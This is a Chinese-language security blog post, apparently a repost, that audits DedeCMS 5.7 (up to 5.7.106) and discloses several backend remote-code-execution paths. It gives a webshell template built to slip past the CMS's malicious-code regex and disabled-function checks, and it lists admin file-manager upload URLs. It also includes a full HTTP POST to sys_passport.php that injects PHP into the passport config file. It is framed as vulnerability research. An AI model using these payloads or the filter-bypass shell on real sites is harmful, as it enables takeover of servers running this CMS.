DedecmsV5.7 RCE审计分析-3月版0day披露

admin 2023年7月12日01:45:25DedecmsV5.7 RCE审计分析-3月版0day披露已关闭评论54 views字数 2900阅读9分40秒阅读模式

简介

织梦内容管理系统 (DedeCMS),采用XML名字空间风格核心模板:模板全部使用文件形式保存,对用户设计模板、网站升级转移均提供很大的便利,健壮的模板标签为站长DIY自己的网站提供了强有力的支持。

影响版本

version\<=5.7.106

环境搭建

php5.6.9+mysql5.6+apache

下载地址

https://updatenew.dedecms.com/base-v57/package/patch-v57sp2&v57sp1&v57-20230223.zip

使用小皮部署,www目录下放源码,使用phpstrom进行动态调试即可

DedecmsV5.7 RCE审计分析-3月版0day披露

初始化数据库配置安装

DedecmsV5.7 RCE审计分析-3月版0day披露

安装完成

DedecmsV5.7 RCE审计分析-3月版0day披露

RCE

rce-模板文件绕过正则实现rce

代码位置

uploads/dede/article_string_mix.php

修改模板文件

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>

文件存储路径

uploads/data/downmix.data.php

DedecmsV5.7 RCE审计分析-3月版0day披露

访问模板文件测试shell

DedecmsV5.7 RCE审计分析-3月版0day披露

分析

DedecmsV5.7 RCE审计分析-3月版0day披露

看到在29行的时候对文件内容使用正则表达式进行了校验

DedecmsV5.7 RCE审计分析-3月版0day披露

在31行到33行是对diasble的方法做了定义,循环是对文件内容是否使用了disablefunction进行了校验,如果传入的内容含有disable的方法则返回信息DedeCMS提示:当前页面中存在恶意代码,当文件内容为一句话

DedecmsV5.7 RCE审计分析-3月版0day披露

返回信息如下

DedecmsV5.7 RCE审计分析-3月版0day披露

无法绕过循环,当文件内容为

<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['value1']($b['value2'])
?>

的时候这里是可以绕过代码后端的校验内容,debug往下跟

DedecmsV5.7 RCE审计分析-3月版0day披露

在这里对文件内容做正则匹配

DedecmsV5.7 RCE审计分析-3月版0day披露

继续向下跟进直接写入文件了,导致rce

DedecmsV5.7 RCE审计分析-3月版0day披露

所以这里针对模板文件修改实现RCE的话,只要绕过循环以及正则就可以实现,所以免杀马的话就没有问题。

文件上传RCE

/uploads/dede/file_manage_main.php
/uploads/dede/file_manage_view.php?fmdo=newfile&activepath=%2Fuploads
/uploads/dede/file_manage_view.php?fmdo=upload&activepath=%2Fuploads

DedecmsV5.7 RCE审计分析-3月版0day披露

检索ctrl+shift+f

DedecmsV5.7 RCE审计分析-3月版0day披露

rce-配置文件实现rce

前端修改配置文件导致rce,这里其实可以对比5.7的不同小版本,在106这个版本前后比较明显,在106版本之前,根据fwrite()检索

DedecmsV5.7 RCE审计分析-3月版0day披露

路径uploads\dede\sys_info_mark.php,前端

DedecmsV5.7 RCE审计分析-3月版0day披露

修改配置直接写入

DedecmsV5.7 RCE审计分析-3月版0day披露

配置文件/mark/inc_photowatermark_config.php

DedecmsV5.7 RCE审计分析-3月版0day披露

DedecmsV5.7 RCE审计分析-3月版0day披露

这里\被转义为\\测试发现106之前的版本都是没问题的。因为106版本在代码位置多了转义增加了一个反斜杠

DedecmsV5.7 RCE审计分析-3月版0day披露

在版本106以及107中,在参数配置文件中同样做了增加反斜杠的代码部分,参数转义后的参数值如下图

DedecmsV5.7 RCE审计分析-3月版0day披露

在35行添加了反斜杠,但是在106版本之前依旧可以实现后端RCE

/dede/sys_info.php

在106版本之前,该位置无函数addslashes

DedecmsV5.7 RCE审计分析-3月版0day披露

所以在这里直接修改配置参数

DedecmsV5.7 RCE审计分析-3月版0day披露

可直接实现rce

DedecmsV5.7 RCE审计分析-3月版0day披露

http://dedecms.org:9999/uploads/data/config.cache.inc.php

DedecmsV5.7 RCE审计分析-3月版0day披露

但是通行证配置的功能在106版以及最新的107版中并未使用addslashes()函数对参数值进行添加反斜杠,路径为

/uploads/dede/sys_passport.php

DedecmsV5.7 RCE审计分析-3月版0day披露

中的代码并未做任何加固以及补丁,使用BC对比

DedecmsV5.7 RCE审计分析-3月版0day披露

两端代码一致,使用payload进行debug分析

```
POST /uploads/dede/sys_passport.php HTTP/1.1
Host: dedecms.org:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 162
Origin: http://dedecms.org:9999
Connection: close
Referer: http://dedecms.org:9999/uploads/dede/sys_passport.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=eh4uq681vd4m4cpf0c1jv6q7td; _csrf_name_a20d95d7=9a1330d9413d7550843ea533405a9908; _csrf_name_a20d95d71BH21ANI1AGD297L1FF21LN02BGE1DNG=ec2abc545b3af7e5; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=1442494cd39124c2; DedeLoginTime=1680536871; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=941cc93ac807533a; XDEBUG_SESSION=XDEBUG_ECLIPSE
Upgrade-Insecure-Requests: 1

dopost=save&editcfgpp_encode=FwCCr9938B&edit_cfg_pp_login=d&editcfgpp_exit=t%5C&edit_cfg_pp_reg=%3Bphpinfo%28%29%3B%2F*&imageField.x=36&imageField.y=4
```

DedecmsV5.7 RCE审计分析-3月版0day披露

保存成功echo后请求配置文件

http://dedecms.org:9999/uploads/include/config_passport.php

DedecmsV5.7 RCE审计分析-3月版0day披露

这里直接写入一句话实现RCE即可。

在这里其实对比在rce- 配置文件实现rce开头的位置路径uploads\dede\sys_info_mark.php的分析可以发现这个位置在输入参数内容存在反斜杠的时候因为函数stripslashes删掉了一个反斜杠,所以最终的配置文件内容为

DedecmsV5.7 RCE审计分析-3月版0day披露

stripslashes()函数的作用

DedecmsV5.7 RCE审计分析-3月版0day披露

运行实例

DedecmsV5.7 RCE审计分析-3月版0day披露

小结

提供一些发散的思路吧,后端的RCE的利用基本都可以围绕这两点。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日01:45:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DedecmsV5.7 RCE审计分析-3月版0day披露https://cn-sec.com/archives/1868853.html